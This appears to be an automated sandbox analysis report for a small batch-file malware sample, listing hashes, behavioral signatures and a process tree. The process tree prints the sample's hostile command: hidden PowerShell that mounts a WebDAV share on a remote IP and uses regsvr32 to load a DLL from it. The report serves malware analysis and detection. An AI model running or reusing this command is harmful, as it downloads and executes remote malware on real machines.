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Analysis
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max time kernel
141s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
19/07/2024, 06:45
Static task
static1
Behavioral task
behavioral1
Sample
22160257741816426666.bat
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
22160257741816426666.bat
Resource
win10v2004-20240709-en
General
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Target
22160257741816426666.bat
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Size
2KB
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MD5
40dfe6b737470a7ef0e7a4051e462249
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SHA1
bc71c3f175b07bf9f80abe6c5fd65d8b472d3fde
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SHA256
4ac8a043805ff64dea888fb3859d36f1a2e6a27fc9d36d64da9c887c528fb5a3
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SHA512
9016c35633718ed0350029f69f65b08ba292b9a3220fea7f0e284f8d54ed0c15dea98cef5eb4a648a1f13951b1706213c44e117244e4d798f266d7d89602aab0
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1116 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1116 powershell.exe 1116 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1116 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 3440 wordpad.exe 3440 wordpad.exe 3440 wordpad.exe 3440 wordpad.exe 3440 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 632 wrote to memory of 3440 632 cmd.exe 87 PID 632 wrote to memory of 3440 632 cmd.exe 87 PID 632 wrote to memory of 1116 632 cmd.exe 89 PID 632 wrote to memory of 1116 632 cmd.exe 89 PID 1116 wrote to memory of 2112 1116 powershell.exe 91 PID 1116 wrote to memory of 2112 1116 powershell.exe 91 PID 1116 wrote to memory of 3468 1116 powershell.exe 92 PID 1116 wrote to memory of 3468 1116 powershell.exe 92
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\22160257741816426666.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:3440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\31692263011306.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2112
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\31692263011306.dll3⤵PID:3468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:4296
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82